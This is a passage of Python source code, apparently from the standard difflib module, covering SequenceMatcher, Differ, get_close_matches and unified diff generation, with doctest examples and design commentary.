between two sequences. Unlike e.g. UNIX(tm) diff, the fundamental notion is the longest contiguous & junk-free matching subsequence. That's what catches peoples' eyes. The Windows(tm) windiff has another interesting notion, pairing up elements that appear uniquely in each sequence. That, and the method here, appear to yield more intuitive difference reports than does diff. This method appears to be the least vulnerable to synching up on blocks of "junk lines", though (like blank lines in ordinary text files, or maybe "<P>" lines in HTML files). That may be because this is the only method of the 3 that has a concept of "junk" <wink>. Example, comparing two strings, and considering blanks to be "junk": >>> s = SequenceMatcher(lambda x: x == " ", ... "private Thread currentThread;", ... "private volatile Thread currentThread;") >>> .ratio() returns a float in [0, 1], measuring the "similarity" of the sequences. As a rule of thumb, a .ratio() value over 0.6 means the sequences are close matches: >>> print(round(s.ratio(), 3)) 0.866 >>> If you're only interested in where the sequences match, .get_matching_blocks() is handy: >>> for block in s.get_matching_blocks(): ... print("a[%d] and b[%d] match for %d elements" % block) a[0] and b[0] match for 8 elements a[8] and b[17] match for 21 elements a[29] and b[38] match for 0 elements Note that the last tuple returned by .get_matching_blocks() is always a dummy, (len(a), len(b), 0), and this is the only case in which the last tuple element (number of elements matched) is 0. If you want to know how to change the first sequence into the second, use .get_opcodes(): >>> for opcode in s.get_opcodes(): ... print("%6s a[%d:%d] b[%d:%d]" % opcode) equal a[0:8] b[0:8] insert a[8:8] b[8:17] equal a[8:29] b[17:38] See the Differ class for a fancy human-friendly file differencer, which uses SequenceMatcher both to compare sequences of lines, and to compare sequences of characters within similar (near-matching) lines. See also function get_close_matches() in this module, which shows how simple code building on SequenceMatcher can be used to do useful work. Timing: Basic R-O is cubic time worst case and quadratic time expected case. SequenceMatcher is quadratic time for the worst case and has expected-case behavior dependent in a complicated way on how many elements the sequences have in common; best case time is linear. Methods: __init__(isjunk=None, a='', b='') Construct a SequenceMatcher. set_seqs(a, b) Set the two sequences to be compared. set_seq1(a) Set the first sequence to be compared. set_seq2(b) Set the second sequence to be compared. find_longest_match(alo, ahi, blo, bhi) Find longest matching block in a[alo:ahi] and b[blo:bhi]. get_matching_blocks() Return list of triples describing matching subsequences. get_opcodes() Return list of 5-tuples describing how to turn a into b. ratio() Return a measure of the sequences' similarity (float in [0,1]). quick_ratio() Return an upper bound on .ratio() relatively quickly. real_quick_ratio() Return an upper bound on ratio() very quickly. """ def __init__(self, isjunk=None, a='', b='', autojunk=True): """Construct a SequenceMatcher. Optional arg isjunk is None (the default), or a one-argument function that takes a sequence element and returns true iff the element is junk. None is equivalent to passing "lambda x: 0", i.e. no elements are considered to be junk. For example, pass lambda x: x in " \\t" if you're comparing lines as sequences of characters, and don't want to synch up on blanks or hard tabs. Optional arg a is the first of two sequences to be compared. By default, an empty string. The elements of a must be hashable. See also .set_seqs() and .set_seq1(). Optional arg b is the second of two sequences to be compared. By default, an empty string. The elements of b must be hashable. See also .set_seqs() and .set_seq2(). Optional arg autojunk should be set to False to disable the "automatic junk heuristic" that treats popular elements as junk (see module documentation for more information). """ # Members: # a # first sequence # b # second sequence; differences are computed as "what do # we need to do to 'a' to change it into 'b'?" # b2j # for x in b, b2j[x] is a list of the indices (into b) # at which x appears; junk and popular elements do not appear # fullbcount # for x in b, fullbcount[x] == the number of times x # appears in b; only materialized if really needed (used # only for computing quick_ratio()) # matching_blocks # a list of (i, j, k) triples, where a[i:i+k] == b[j:j+k]; # ascending & non-overlapping in i and in j; terminated by # a dummy (len(a), len(b), 0) sentinel # opcodes # a list of (tag, i1, i2, j1, j2) tuples, where tag is # one of # 'replace' a[i1:i2] should be replaced by b[j1:j2] # 'delete' a[i1:i2] should be deleted # 'insert' b[j1:j2] should be inserted # 'equal' a[i1:i2] == b[j1:j2] # isjunk # a user-supplied function taking a sequence element and # returning true iff the element is "junk" -- this has # subtle but helpful effects on the algorithm, which I'll # get around to writing up someday <0.9 wink>. # DON'T USE! Only __chain_b uses this. Use "in self.bjunk". # bjunk # the items in b for which isjunk is True. # bpopular # nonjunk items in b treated as junk by the heuristic (if used). self.isjunk = isjunk self.a = self.b = None self.autojunk = autojunk self.set_seqs(a, b) def set_seqs(self, a, b): """Set the two sequences to be compared. >>> s = SequenceMatcher() >>> s.set_seqs("abcd", "bcde") >>> s.ratio() 0.75 """ self.set_seq1(a) self.set_seq2(b) def set_seq1(self, a): """Set the first sequence to be compared. The second sequence to be compared is not changed. >>> s = SequenceMatcher(None, "abcd", "bcde") >>> s.ratio() 0.75 >>> s.set_seq1("bcde") >>> s.ratio() 1.0 >>> SequenceMatcher computes and caches detailed information about the second sequence, so if you want to compare one sequence S against many sequences, use .set_seq2(S) once and call .set_seq1(x) repeatedly for each of the other sequences. See also set_seqs() and set_seq2(). """ if a is self.a: return self.a = a self.matching_blocks = self.opcodes = None def set_seq2(self, b): """Set the second sequence to be compared. The first sequence to be compared is not changed. >>> s = SequenceMatcher(None, "abcd", "bcde") >>> s.ratio() 0.75 >>> s.set_seq2("abcd") >>> s.ratio() 1.0 >>> SequenceMatcher computes and caches detailed information about the second sequence, so if you want to compare one sequence S against many sequences, use .set_seq2(S) once and call .set_seq1(x) repeatedly for each of the other sequences. See also set_seqs() and set_seq1(). """ if b is self.b: return self.b = b self.matching_blocks = self.opcodes = None self.fullbcount = None self.__chain_b() # For each element x in b, set b2j[x] to a list of the indices in # b where x appears; the indices are in increasing order; note that # the number of times x appears in b is len(b2j[x]) ... # when self.isjunk is defined, junk elements don't show up in this # map at all, which stops the central find_longest_match method # from starting any matching block at a junk element ... # b2j also does not contain entries for "popular" elements, meaning # elements that account for more than 1 + 1% of the total elements, and # when the sequence is reasonably large (>= 200 elements); this can # be viewed as an adaptive notion of semi-junk, and yields an enormous # speedup when, e.g., comparing program files with hundreds of # instances of "return NULL;" ... # note that this is only called when b changes; so for cross-product # kinds of matches, it's best to call set_seq2 once, then set_seq1 # repeatedly def __chain_b(self): # Because isjunk is a user-defined (not C) function, and we test # for junk a LOT, it's important to minimize the number of calls. # Before the tricks described here, __chain_b was by far the most # time-consuming routine in the whole module! If anyone sees # Jim Roskind, thank him again for profile.py -- I never would # have guessed that. # The first trick is to build b2j ignoring the possibility # of junk. I.e., we don't call isjunk at all yet. Throwing # out the junk later is much cheaper than building b2j "right" # from the start. b = self.b self.b2j = b2j = {} for i, elt in enumerate(b): indices = b2j.setdefault(elt, []) indices.append(i) # Purge junk elements self.bjunk = junk = set() isjunk = self.isjunk if isjunk: for elt in b2j.keys(): if isjunk(elt): junk.add(elt) for elt in junk: # separate loop avoids separate list of keys del b2j[elt] # Purge popular elements that are not junk self.bpopular = popular = set() n = len(b) if self.autojunk and n >= 200: ntest = n // 100 + 1 for elt, idxs in b2j.items(): if len(idxs) > ntest: popular.add(elt) for elt in popular: # ditto; as fast for 1% deletion del b2j[elt] def find_longest_match(self, alo, ahi, blo, bhi): """Find longest matching block in a[alo:ahi] and b[blo:bhi]. If isjunk is not defined: Return (i,j,k) such that a[i:i+k] is equal to b[j:j+k], where alo <= i <= i+k <= ahi blo <= j <= j+k <= bhi and for all (i',j',k') meeting those conditions, k >= k' i <= i' and if i == i', j <= j' In other words, of all maximal matching blocks, return one that starts earliest in a, and of all those maximal matching blocks that start earliest in a, return the one that starts earliest in b. >>> s = SequenceMatcher(None, " abcd", "abcd abcd") >>> s.find_longest_match(0, 5, 0, 9) Match(a=0, b=4, size=5) If isjunk is defined, first the longest matching block is determined as above, but with the additional restriction that no junk element appears in the block. Then that block is extended as far as possible by matching (only) junk elements on both sides. So the resulting block never matches on junk except as identical junk happens to be adjacent to an "interesting" match. Here's the same example as before, but considering blanks to be junk. That prevents " abcd" from matching the " abcd" at the tail end of the second sequence directly. Instead only the "abcd" can match, and matches the leftmost "abcd" in the second sequence: >>> s = SequenceMatcher(lambda x: x==" ", " abcd", "abcd abcd") >>> s.find_longest_match(0, 5, 0, 9) Match(a=1, b=0, size=4) If no blocks match, return (alo, blo, 0). >>> s = SequenceMatcher(None, "ab", "c") >>> s.find_longest_match(0, 2, 0, 1) Match(a=0, b=0, size=0) """ # CAUTION: stripping common prefix or suffix would be incorrect. # E.g., # ab # acab # Longest matching block is "ab", but if common prefix is # stripped, it's "a" (tied with "b"). UNIX(tm) diff does so # strip, so ends up claiming that ab is changed to acab by # inserting "ca" in the middle. That's minimal but unintuitive: # "it's obvious" that someone inserted "ac" at the front. # Windiff ends up at the same place as diff, but by pairing up # the unique 'b's and then matching the first two 'a's. a, b, b2j, isbjunk = self.a, self.b, self.b2j, self.bjunk.__contains__ besti, bestj, bestsize = alo, blo, 0 # find longest junk-free match # during an iteration of the loop, j2len[j] = length of longest # junk-free match ending with a[i-1] and b[j] j2len = {} nothing = [] for i in range(alo, ahi): # look at all instances of a[i] in b; note that because # b2j has no junk keys, the loop is skipped if a[i] is junk j2lenget = j2len.get newj2len = {} for j in b2j.get(a[i], nothing): # a[i] matches b[j] if j < blo: continue if j >= bhi: break k = newj2len[j] = j2lenget(j-1, 0) + 1 if k > bestsize: besti, bestj, bestsize = i-k+1, j-k+1, k j2len = newj2len # Extend the best by non-junk elements on each end. In particular, # "popular" non-junk elements aren't in b2j, which greatly speeds # the inner loop above, but also means "the best" match so far # doesn't contain any junk or popular non-junk elements. while besti > alo and bestj > blo and \ not isbjunk(b[bestj-1]) and \ a[besti-1] == b[bestj-1]: besti, bestj, bestsize = besti-1, bestj-1, bestsize+1 while besti+bestsize < ahi and bestj+bestsize < bhi and \ not isbjunk(b[bestj+bestsize]) and \ a[besti+bestsize] == b[bestj+bestsize]: bestsize += 1 # Now that we have a wholly interesting match (albeit possibly # empty!), we may as well suck up the matching junk on each # side of it too. Can't think of a good reason not to, and it # saves post-processing the (possibly considerable) expense of # figuring out what to do with it. In the case of an empty # interesting match, this is clearly the right thing to do, # because no other kind of match is possible in the regions. while besti > alo and bestj > blo and \ isbjunk(b[bestj-1]) and \ a[besti-1] == b[bestj-1]: besti, bestj, bestsize = besti-1, bestj-1, bestsize+1 while besti+bestsize < ahi and bestj+bestsize < bhi and \ isbjunk(b[bestj+bestsize]) and \ a[besti+bestsize] == b[bestj+bestsize]: bestsize = bestsize + 1 return Match(besti, bestj, bestsize) def get_matching_blocks(self): """Return list of triples describing matching subsequences. Each triple is of the form (i, j, n), and means that a[i:i+n] == b[j:j+n]. The triples are monotonically increasing in i and in j. New in Python 2.5, it's also guaranteed that if (i, j, n) and (i', j', n') are adjacent triples in the list, and the second is not the last triple in the list, then i+n != i' or j+n != j'. IOW, adjacent triples never describe adjacent equal blocks. The last triple is a dummy, (len(a), len(b), 0), and is the only triple with n==0. >>> s = SequenceMatcher(None, "abxcd", "abcd") >>> list(s.get_matching_blocks()) [Match(a=0, b=0, size=2), Match(a=3, b=2, size=2), Match(a=5, b=4, size=0)] """ if self.matching_blocks is not None: return self.matching_blocks la, lb = len(self.a), len(self.b) # This is most naturally expressed as a recursive algorithm, but # at least one user bumped into extreme use cases that exceeded # the recursion limit on their box. So, now we maintain a list # ('queue`) of blocks we still need to look at, and append partial # results to `matching_blocks` in a loop; the matches are sorted # at the end. queue = [(0, la, 0, lb)] matching_blocks = [] while queue: alo, ahi, blo, bhi = queue.pop() i, j, k = x = self.find_longest_match(alo, ahi, blo, bhi) # a[alo:i] vs b[blo:j] unknown # a[i:i+k] same as b[j:j+k] # a[i+k:ahi] vs b[j+k:bhi] unknown if k: # if k is 0, there was no matching block matching_blocks.append(x) if alo < i and blo < j: queue.append((alo, i, blo, j)) if i+k < ahi and j+k < bhi: queue.append((i+k, ahi, j+k, bhi)) matching_blocks.sort() # It's possible that we have adjacent equal blocks in the # matching_blocks list now. Starting with 2.5, this code was added # to collapse them. i1 = j1 = k1 = 0 non_adjacent = [] for i2, j2, k2 in matching_blocks: # Is this block adjacent to i1, j1, k1? if i1 + k1 == i2 and j1 + k1 == j2: # Yes, so collapse them -- this just increases the length of # the first block by the length of the second, and the first # block so lengthened remains the block to compare against. k1 += k2 else: # Not adjacent. Remember the first block (k1==0 means it's # the dummy we started with), and make the second block the # new block to compare against. if k1: non_adjacent.append((i1, j1, k1)) i1, j1, k1 = i2, j2, k2 if k1: non_adjacent.append((i1, j1, k1)) non_adjacent.append( (la, lb, 0) ) self.matching_blocks = list(map(Match._make, non_adjacent)) return self.matching_blocks def get_opcodes(self): """Return list of 5-tuples describing how to turn a into b. Each tuple is of the form (tag, i1, i2, j1, j2). The first tuple has i1 == j1 == 0, and remaining tuples have i1 == the i2 from the tuple preceding it, and likewise for j1 == the previous j2. The tags are strings, with these meanings: 'replace': a[i1:i2] should be replaced by b[j1:j2] 'delete': a[i1:i2] should be deleted. Note that j1==j2 in this case. 'insert': b[j1:j2] should be inserted at a[i1:i1]. Note that i1==i2 in this case. 'equal': a[i1:i2] == b[j1:j2] >>> a = "qabxcd" >>> b = "abycdf" >>> s = SequenceMatcher(None, a, b) >>> for tag, i1, i2, j1, j2 in s.get_opcodes(): ... print(("%7s a[%d:%d] (%s) b[%d:%d] (%s)" % ... (tag, i1, i2, a[i1:i2], j1, j2, b[j1:j2]))) delete a[0:1] (q) b[0:0] () equal a[1:3] (ab) b[0:2] (ab) replace a[3:4] (x) b[2:3] (y) equal a[4:6] (cd) b[3:5] (cd) insert a[6:6] () b[5:6] (f) """ if self.opcodes is not None: return self.opcodes i = j = 0 self.opcodes = answer = [] for ai, bj, size in self.get_matching_blocks(): # invariant: we've pumped out correct diffs to change # a[:i] into b[:j], and the next matching block is # a[ai:ai+size] == b[bj:bj+size]. So we need to pump # out a diff to change a[i:ai] into b[j:bj], pump out # the matching block, and move (i,j) beyond the match tag = '' if i < ai and j < bj: tag = 'replace' elif i < ai: tag = 'delete' elif j < bj: tag = 'insert' if tag: answer.append( (tag, i, ai, j, bj) ) i, j = ai+size, bj+size # the list of matching blocks is terminated by a # sentinel with size 0 if size: answer.append( ('equal', ai, i, bj, j) ) return answer def get_grouped_opcodes(self, n=3): """ Isolate change clusters by eliminating ranges with no changes. Return a generator of groups with up to n lines of context. Each group is in the same format as returned by get_opcodes(). >>> from pprint import pprint >>> a = list(map(str, range(1,40))) >>> b = a[:] >>> b[8:8] = ['i'] # Make an insertion >>> b[20] += 'x' # Make a replacement >>> b[23:28] = [] # Make a deletion >>> b[30] += 'y' # Make another replacement >>> pprint(list(SequenceMatcher(None,a,b).get_grouped_opcodes())) [[('equal', 5, 8, 5, 8), ('insert', 8, 8, 8, 9), ('equal', 8, 11, 9, 12)], [('equal', 16, 19, 17, 20), ('replace', 19, 20, 20, 21), ('equal', 20, 22, 21, 23), ('delete', 22, 27, 23, 23), ('equal', 27, 30, 23, 26)], [('equal', 31, 34, 27, 30), ('replace', 34, 35, 30, 31), ('equal', 35, 38, 31, 34)]] """ codes = self.get_opcodes() if not codes: codes = [("equal", 0, 1, 0, 1)] # Fixup leading and trailing groups if they show no changes. if codes[0][0] == 'equal': tag, i1, i2, j1, j2 = codes[0] codes[0] = tag, max(i1, i2-n), i2, max(j1, j2-n), j2 if codes[-1][0] == 'equal': tag, i1, i2, j1, j2 = codes[-1] codes[-1] = tag, i1, min(i2, i1+n), j1, min(j2, j1+n) nn = n + n group = [] for tag, i1, i2, j1, j2 in codes: # End the current group and start a new one whenever # there is a large range with no changes. if tag == 'equal' and i2-i1 > nn: group.append((tag, i1, min(i2, i1+n), j1, min(j2, j1+n))) yield group group = [] i1, j1 = max(i1, i2-n), max(j1, j2-n) group.append((tag, i1, i2, j1 ,j2)) if group and not (len(group)==1 and group[0][0] == 'equal'): yield group def ratio(self): """Return a measure of the sequences' similarity (float in [0,1]). Where T is the total number of elements in both sequences, and M is the number of matches, this is 2.0M / T. Note that this is 1 if the sequences are identical, and 0 if they have nothing in common. .ratio() is expensive to compute if you haven't already computed .get_matching_blocks() or .get_opcodes(), in which case you may want to try .quick_ratio() or .real_quick_ratio() first to get an upper bound. >>> s = SequenceMatcher(None, "abcd", "bcde") >>> s.ratio() 0.75 >>> s.quick_ratio() 0.75 >>> s.real_quick_ratio() 1.0 """ matches = sum(triple[-1] for triple in self.get_matching_blocks()) return _calculate_ratio(matches, len(self.a) + len(self.b)) def quick_ratio(self): """Return an upper bound on ratio() relatively quickly. This isn't defined beyond that it is an upper bound on .ratio(), and is faster to compute. """ # viewing a and b as multisets, set matches to the cardinality # of their intersection; this counts the number of matches # without regard to order, so is clearly an upper bound if self.fullbcount is None: self.fullbcount = fullbcount = {} for elt in self.b: fullbcount[elt] = fullbcount.get(elt, 0) + 1 fullbcount = self.fullbcount # avail[x] is the number of times x appears in 'b' less the # number of times we've seen it in 'a' so far ... kinda avail = {} availhas, matches = avail.__contains__, 0 for elt in self.a: if availhas(elt): numb = avail[elt] else: numb = fullbcount.get(elt, 0) avail[elt] = numb - 1 if numb > 0: matches = matches + 1 return _calculate_ratio(matches, len(self.a) + len(self.b)) def real_quick_ratio(self): """Return an upper bound on ratio() very quickly. This isn't defined beyond that it is an upper bound on .ratio(), and is faster to compute than either .ratio() or .quick_ratio(). """ la, lb = len(self.a), len(self.b) # can't have more matches than the number of elements in the # shorter sequence return _calculate_ratio(min(la, lb), la + lb) def get_close_matches(word, possibilities, n=3, cutoff=0.6): """Use SequenceMatcher to return list of the best "good enough" matches. word is a sequence for which close matches are desired (typically a string). possibilities is a list of sequences against which to match word (typically a list of strings). Optional arg n (default 3) is the maximum number of close matches to return. n must be > 0. Optional arg cutoff (default 0.6) is a float in [0, 1]. Possibilities that don't score at least that similar to word are ignored. The best (no more than n) matches among the possibilities are returned in a list, sorted by similarity score, most similar first. >>> get_close_matches("appel", ["ape", "apple", "peach", "puppy"]) ['apple', 'ape'] >>> import keyword as _keyword >>> get_close_matches("wheel", _keyword.kwlist) ['while'] >>> get_close_matches("Apple", _keyword.kwlist) [] >>> get_close_matches("accept", _keyword.kwlist) ['except'] """ if not n > 0: raise ValueError("n must be > 0: %r" % (n,)) if not 0.0 <= cutoff <= 1.0: raise ValueError("cutoff must be in [0.0, 1.0]: %r" % (cutoff,)) result = [] s = SequenceMatcher() s.set_seq2(word) for x in possibilities: s.set_seq1(x) if s.real_quick_ratio() >= cutoff and \ s.quick_ratio() >= cutoff and \ s.ratio() >= cutoff: result.append((s.ratio(), x)) # Move the best scorers to head of list result = _nlargest(n, result) # Strip scores for the best n matches return [x for score, x in result] def _count_leading(line, ch): """ Return number of `ch` characters at the start of `line`. Example: >>> _count_leading(' abc', ' ') 3 """ i, n = 0, len(line) while i < n and line[i] == ch: i += 1 return i class Differ: r""" Differ is a class for comparing sequences of lines of text, and producing human-readable differences or deltas. Differ uses SequenceMatcher both to compare sequences of lines, and to compare sequences of characters within similar (near-matching) lines. Each line of a Differ delta begins with a two-letter code: '- ' line unique to sequence 1 '+ ' line unique to sequence 2 ' ' line common to both sequences '? ' line not present in either input sequence Lines beginning with '? ' attempt to guide the eye to intraline differences, and were not present in either input sequence. These lines can be confusing if the sequences contain tab characters. Note that Differ makes no claim to produce a minimal* diff. To the contrary, minimal diffs are often counter-intuitive, because they synch up anywhere possible, sometimes accidental matches 100 pages apart. Restricting synch points to contiguous matches preserves some notion of locality, at the occasional cost of producing a longer diff. Example: Comparing two texts. First we set up the texts, sequences of individual single-line strings ending with newlines (such sequences can also be obtained from the `readlines()` method of file-like objects): >>> text1 = ''' 1. Beautiful is better than ugly. ... 2. Explicit is better than implicit. ... 3. Simple is better than complex. ... 4. Complex is better than complicated. ... '''.splitlines(keepends=True) >>> len(text1) 4 >>> text1[0][-1] '\n' >>> text2 = ''' 1. Beautiful is better than ugly. ... 3. Simple is better than complex. ... 4. Complicated is better than complex. ... 5. Flat is better than nested. ... '''.splitlines(keepends=True) Next we instantiate a Differ object: >>> d = Differ() Note that when instantiating a Differ object we may pass functions to filter out line and character 'junk'. See Differ.__init__ for details. Finally, we compare the two: >>> result = list(d.compare(text1, text2)) 'result' is a list of strings, so let's pretty-print it: >>> from pprint import pprint as _pprint >>> _pprint(result) [' 1. Beautiful is better than ugly.\n', '- 2. Explicit is better than implicit.\n', '- 3. Simple is better than complex.\n', '+ 3. Simple is better than complex.\n', '? ++\n', '- 4. Complex is better than complicated.\n', '? ^ ---- ^\n', '+ 4. Complicated is better than complex.\n', '? ++++ ^ ^\n', '+ 5. Flat is better than nested.\n'] As a single multi-line string it looks like this: >>> print(''.join(result), end="") 1. Beautiful is better than ugly. - 2. Explicit is better than implicit. - 3. Simple is better than complex. + 3. Simple is better than complex. ? ++ - 4. Complex is better than complicated. ? ^ ---- ^ + 4. Complicated is better than complex. ? ++++ ^ ^ + 5. Flat is better than nested. Methods: __init__(linejunk=None, charjunk=None) Construct a text differencer, with optional filters. compare(a, b) Compare two sequences of lines; generate the resulting delta. """ def __init__(self, linejunk=None, charjunk=None): """ Construct a text differencer, with optional filters. The two optional keyword parameters are for filter functions: - `linejunk`: A function that should accept a single string argument, and return true iff the string is junk. The module-level function `IS_LINE_JUNK` may be used to filter out lines without visible characters, except for at most one splat ('#'). It is recommended to leave linejunk None; the underlying SequenceMatcher class has an adaptive notion of "noise" lines that's better than any static definition the author has ever been able to craft. - `charjunk`: A function that should accept a string of length 1. The module-level function `IS_CHARACTER_JUNK` may be used to filter out whitespace characters (a blank or tab; note: bad idea to include newline in this!). Use of IS_CHARACTER_JUNK is recommended. """ self.linejunk = linejunk self.charjunk = charjunk def compare(self, a, b): r""" Compare two sequences of lines; generate the resulting delta. Each sequence must contain individual single-line strings ending with newlines. Such sequences can be obtained from the `readlines()` method of file-like objects. The delta generated also consists of newline- terminated strings, ready to be printed as-is via the writeline() method of a file-like object. Example: >>> print(''.join(Differ().compare('one\ntwo\nthree\n'.splitlines(True), ... 'ore\ntree\nemu\n'.splitlines(True))), ... end="") - one ? ^ + ore ? ^ - two - three ? - + tree + emu """ cruncher = SequenceMatcher(self.linejunk, a, b) for tag, alo, ahi, blo, bhi in cruncher.get_opcodes(): if tag == 'replace': g = self._fancy_replace(a, alo, ahi, b, blo, bhi) elif tag == 'delete': g = self._dump('-', a, alo, ahi) elif tag == 'insert': g = self._dump('+', b, blo, bhi) elif tag == 'equal': g = self._dump(' ', a, alo, ahi) else: raise ValueError('unknown tag %r' % (tag,)) yield from g def _dump(self, tag, x, lo, hi): """Generate comparison results for a same-tagged range.""" for i in range(lo, hi): yield '%s %s' % (tag, x[i]) def _plain_replace(self, a, alo, ahi, b, blo, bhi): assert alo < ahi and blo < bhi # dump the shorter block first -- reduces the burden on short-term # memory if the blocks are of very different sizes if bhi - blo < ahi - alo: first = self._dump('+', b, blo, bhi) second = self._dump('-', a, alo, ahi) else: first = self._dump('-', a, alo, ahi) second = self._dump('+', b, blo, bhi) for g in first, second: yield from g def _fancy_replace(self, a, alo, ahi, b, blo, bhi): r""" When replacing one block of lines with another, search the blocks for similar lines; the best-matching pair (if any) is used as a synch point, and intraline difference marking is done on the similar pair. Lots of work, but often worth it. Example: >>> d = Differ() >>> results = d._fancy_replace(['abcDefghiJkl\n'], 0, 1, ... ['abcdefGhijkl\n'], 0, 1) >>> print(''.join(results), end="") - abcDefghiJkl ? ^ ^ ^ + abcdefGhijkl ? ^ ^ ^ """ # don't synch up unless the lines have a similarity score of at # least cutoff; best_ratio tracks the best score seen so far best_ratio, cutoff = 0.74, 0.75 cruncher = SequenceMatcher(self.charjunk) eqi, eqj = None, None # 1st indices of equal lines (if any) # search for the pair that matches best without being identical # (identical lines must be junk lines, & we don't want to synch up # on junk -- unless we have to) for j in range(blo, bhi): bj = b[j] cruncher.set_seq2(bj) for i in range(alo, ahi): ai = a[i] if ai == bj: if eqi is None: eqi, eqj = i, j continue cruncher.set_seq1(ai) # computing similarity is expensive, so use the quick # upper bounds first -- have seen this speed up messy # compares by a factor of 3. # note that ratio() is only expensive to compute the first # time it's called on a sequence pair; the expensive part # of the computation is cached by cruncher if cruncher.real_quick_ratio() > best_ratio and \ cruncher.quick_ratio() > best_ratio and \ cruncher.ratio() > best_ratio: best_ratio, best_i, best_j = cruncher.ratio(), i, j if best_ratio < cutoff: # no non-identical "pretty close" pair if eqi is None: # no identical pair either -- treat it as a straight replace yield from self._plain_replace(a, alo, ahi, b, blo, bhi) return # no close pair, but an identical pair -- synch up on that best_i, best_j, best_ratio = eqi, eqj, 1.0 else: # there's a close pair, so forget the identical pair (if any) eqi = None # a[best_i] very similar to b[best_j]; eqi is None iff they're not # identical # pump out diffs from before the synch point yield from self._fancy_helper(a, alo, best_i, b, blo, best_j) # do intraline marking on the synch pair aelt, belt = a[best_i], b[best_j] if eqi is None: # pump out a '-', '?', '+', '?' quad for the synched lines atags = btags = "" cruncher.set_seqs(aelt, belt) for tag, ai1, ai2, bj1, bj2 in cruncher.get_opcodes(): la, lb = ai2 - ai1, bj2 - bj1 if tag == 'replace': atags += '^' * la btags += '^' * lb elif tag == 'delete': atags += '-' * la elif tag == 'insert': btags += '+' * lb elif tag == 'equal': atags += ' ' * la btags += ' ' * lb else: raise ValueError('unknown tag %r' % (tag,)) yield from self._qformat(aelt, belt, atags, btags) else: # the synch pair is identical yield ' ' + aelt # pump out diffs from after the synch point yield from self._fancy_helper(a, best_i+1, ahi, b, best_j+1, bhi) def _fancy_helper(self, a, alo, ahi, b, blo, bhi): g = [] if alo < ahi: if blo < bhi: g = self._fancy_replace(a, alo, ahi, b, blo, bhi) else: g = self._dump('-', a, alo, ahi) elif blo < bhi: g = self._dump('+', b, blo, bhi) yield from g def _qformat(self, aline, bline, atags, btags): r""" Format "?" output and deal with leading tabs. Example: >>> d = Differ() >>> results = d._qformat('\tabcDefghiJkl\n', '\tabcdefGhijkl\n', ... ' ^ ^ ^ ', ' ^ ^ ^ ') >>> for line in results: print(repr(line)) ... '- \tabcDefghiJkl\n' '? \t ^ ^ ^\n' '+ \tabcdefGhijkl\n' '? \t ^ ^ ^\n' """ # Can hurt, but will probably help most of the time. common = min(_count_leading(aline, "\t"), _count_leading(bline, "\t")) common = min(common, _count_leading(atags[:common], " ")) common = min(common, _count_leading(btags[:common], " ")) atags = atags[common:].rstrip() btags = btags[common:].rstrip() yield "- " + aline if atags: yield "? %s%s\n" % ("\t" * common, atags) yield "+ " + bline if btags: yield "? %s%s\n" % ("\t" * common, btags) # With respect to junk, an earlier version of ndiff simply refused to # start a match with a junk element. The result was cases like this: # before: private Thread currentThread; # after: private volatile Thread currentThread; # If you consider whitespace to be junk, the longest contiguous match # not starting with junk is "e Thread currentThread". So ndiff reported # that "e volatil" was inserted between the 't' and the 'e' in "private". # While an accurate view, to people that's absurd. The current version # looks for matching blocks that are entirely junk-free, then extends the # longest one of those as far as possible but only with matching junk. # So now "currentThread" is matched, then extended to suck up the # preceding blank; then "private" is matched, and extended to suck up the # following blank; then "Thread" is matched; and finally ndiff reports # that "volatile " was inserted before "Thread". The only quibble # remaining is that perhaps it was really the case that " volatile" # was inserted after "private". I can live with that <wink>. import re def IS_LINE_JUNK(line, pat=re.compile(r"\s(?:#\s)?$").match): r""" Return True for ignorable line: iff `line` is blank or contains a single '#'. Examples: >>> IS_LINE_JUNK('\n') True >>> IS_LINE_JUNK(' # \n') True >>> IS_LINE_JUNK('hello\n') False """ return pat(line) is not None def IS_CHARACTER_JUNK(ch, ws=" \t"): r""" Return True for ignorable character: iff `ch` is a space or tab. Examples: >>> IS_CHARACTER_JUNK(' ') True >>> IS_CHARACTER_JUNK('\t') True >>> IS_CHARACTER_JUNK('\n') False >>> IS_CHARACTER_JUNK('x') False """ return ch in ws ######################################################################## ### Unified Diff ######################################################################## def _format_range_unified(start, stop): 'Convert range to the "ed" format' # Per the diff spec at http://www.unix.org/single_unix_specification/ beginning = start + 1 # lines start numbering with one length = stop - start if length == 1: return '{}'.format(beginning) if not length: beginning -= 1 # empty ranges begin at line just before the range return '{},{}'.format(beginning, length) def unified_diff(a, b, fromfile='', tofile='', fromfiledate='', tofiledate='', n=3, lineterm='\n'): r""" Compare two sequences of lines; generate the delta as a unified diff. Unified diffs are a compact way of showing line changes and a few lines of context. The number of context lines is set by 'n' which defaults to three. By default, the diff control lines (those with ---, +++, or @@) are created with a trailing newline. This is helpful so that inputs created from file.readlines() result in diffs that are suitable for file.writelines() since both the inputs and outputs have trailing newlines. For inputs that do not have trailing newlines, set the lineterm argument to "" so that the output will be uniformly newline free. The unidiff format normally has a header for filenames and modification times. Any or all of these may be specified using strings for 'fromfile', 'tofile', 'fromfiledate', and 'tofiledate'. The modification times are normally expressed in the ISO 8601 format. Example: >>> for line in unified_diff('one two three four'.split(), ... 'zero one tree four'.split(), 'Original', 'Current', ... '2005-01-26 23:30:50', '2010-04-02 10:20:52', ... lineterm=''): ... print(line) # doctest: +NORMALIZE_WHITESPACE --- Original 2005-01-26 23:30:50 +++ Current 2010-04-02 10:20:52 @@ -1,4 +1,4 @@ +zero one -two -three +tree four """ _check_types(a, b, fromfile, tofile, fromfiledate, tofiledate, lineterm) started = False for group in SequenceMatcher(None,a,b).get_grouped_opcodes(n): if not started: started = True fromdate = '\t{}'.format(fromfiledate) if fromfiledate else '' todate = '\t{}'.format(tofiledate) if tofiledate else '' yield '--- {}{}{}'.format(fromfile, fromdate, lineterm) yield '+++ {}{}{}'.format(tofile, todate, lineterm) first, last = group[0], group[-1] file1_range = _format_range_unified(first[1], last[2]) file2_range = _format_range_unified(first[3], last[4]) yield '@@ -{} +{} @@{}'.format(file1_range, file2_range, lineterm) for tag, i1, i2, j1, j2 in group: if tag == 'equal': for line in a[i1:i2]: yield ' ' + line continue if tag in {'replace', 'delete'}: for line in a[i1:i2]: yield '-' + line if tag in {'replace', 'insert'}: for line in b[j1:j2]: yield '+' + line ######################################################################## ### Context Diff ######################################################################## def _format_range_context(start, stop): 'Convert range to the "ed" format' # Per the diff spec at http://www.unix.org/single_unix_specification/ beginning = start + 1 # lines start numbering with one length = stop - start if not length: beginning -= 1 # empty ranges begin at line just before the range if length <= 1: return '{}'.format(beginning) return 